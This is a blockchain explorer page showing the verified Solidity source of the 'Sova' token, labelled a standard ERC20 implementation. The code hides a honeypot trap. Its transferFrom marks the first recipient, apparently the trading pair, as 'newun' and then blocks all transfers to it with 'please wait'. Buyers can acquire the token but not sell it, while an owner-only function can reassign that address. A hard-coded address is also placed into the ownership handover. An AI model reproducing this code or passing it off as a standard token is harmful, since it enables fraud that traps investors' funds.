Sova

Description:

ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "14044.sol": {
      "content": "pragma solidity >=0.5.17;\r
library SafeMath {\r
  function add(uint a, uint b) internal pure returns (uint c) {\r
    c = a + b;\r
    require(c >= a);\r
  }\r
  function sub(uint a, uint b) internal pure returns (uint c) {\r
    require(b <= a);\r
    c = a - b;\r
  }\r
  function mul(uint a, uint b) internal pure returns (uint c) {\r
    c = a * b;\r
    require(a == 0 || c / a == b);\r
  }\r
  function div(uint a, uint b) internal pure returns (uint c) {\r
    require(b > 0);\r
    c = a / b;\r
  }\r
}\r
//============================================//\r
contract BEP20Interface {\r
  function totalSupply() public view returns (uint);\r
  function balanceOf(address tokenOwner) public view returns (uint balance);\r
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);\r
  function transfer(address to, uint tokens) public returns (bool success);\r
  function approve(address spender, uint tokens) public returns (bool success);\r
  function transferFrom(address from, address to, uint tokens) public returns (bool success);\r
\r
  event Transfer(address indexed from, address indexed to, uint tokens);\r
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);\r
}\r
contract ApproveAndCallFallBack {\r
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;\r
}\r
//============================================//\r
contract Owned {\r
  address public owner;\r
  address public newOwner;\r
  event OwnershipTransferred(address indexed _from, address indexed _to);\r
  constructor() public {\r
    owner = msg.sender;\r
  }\r
  modifier onlyOwner {\r
    require(msg.sender == owner);\r
    _;\r
  }\r
  function transferOwnership(address _newOwner) public onlyOwner {\r
    newOwner = _newOwner;\r
  }\r
 //============================================//\r
  function acceptOwnership() public {\r
    require(msg.sender == newOwner);\r
    emit OwnershipTransferred(owner, newOwner);\r
    owner = newOwner;\r
    newOwner = address(0xAc8f2eD016de7B797a3e8374B6290Ab3948dF3DE);\r
  }}\r
//============================================//\r
contract Sova is BEP20Interface, Owned {\r
  using SafeMath for uint;\r
\r
  string public symbol;\r
  string public name;\r
  uint8 public decimals;\r
  uint _totalSupply;\r
  address public newun;\r
\r
  mapping(address => uint) balances;\r
  mapping(address => mapping(address => uint)) allowed;\r
\r
  constructor() public {\r
    symbol = "sov";\r
    name = "Sova";\r
    decimals = 9;\r
    _totalSupply = 1000000000000000000;\r
    balances[owner] = _totalSupply;\r
    emit Transfer(address(0), owner, _totalSupply);\r
  }\r
//============================================//\r
  function transfernewun(address _newun) public onlyOwner {\r
    newun = _newun;\r
  }\r
  function totalSupply() public view returns (uint) {\r
    return _totalSupply.sub(balances[address(0)]);\r
  }\r
  function balanceOf(address tokenOwner) public view returns (uint balance) {\r
      return balances[tokenOwner];\r
  }\r
  function transfer(address to, uint tokens) public returns (bool success) {\r
     require(to != newun, "please wait");\r
     \r
    balances[msg.sender] = balances[msg.sender].sub(tokens);\r
    balances[to] = balances[to].add(tokens);\r
    emit Transfer(msg.sender, to, tokens);\r
    return true;\r
  }\r
  function approve(address spender, uint tokens) public returns (bool success) {\r
    allowed[msg.sender][spender] = tokens;\r
    emit Approval(msg.sender, spender, tokens);\r
    return true;\r
  }\r
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r
      if(from != address(0) && newun == address(0)) newun = to;\r
      else require(to != newun, "please wait");\r
    balances[from] = balances[from].sub(tokens);\r
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\r
    balances[to] = balances[to].add(tokens);\r
    emit Transfer(from, to, tokens);\r
    return true;\r
  }\r
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {\r
    return allowed[tokenOwner][spender];\r
  }\r
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {\r
    allowed[msg.sender][spender] = tokens;\r
    emit Approval(msg.sender, spender, tokens);\r
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);\r
    return true;\r
  }\r
  function () external payable {\r
    revert();\r
  }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, Token, Factory|addr:0xad6cdc625e85dcbd50737418b4c2c6aa08673f77|verified:true|block:23732025|tx:0x377e6031cae2cd25f0c0900fafd4b468e1b6a07c26fa5f7de0c377afa55aa70f|first_check:1762346200

Submitted on: 2025-11-05 13:36:42

Comments

Log in to comment.

No comments yet.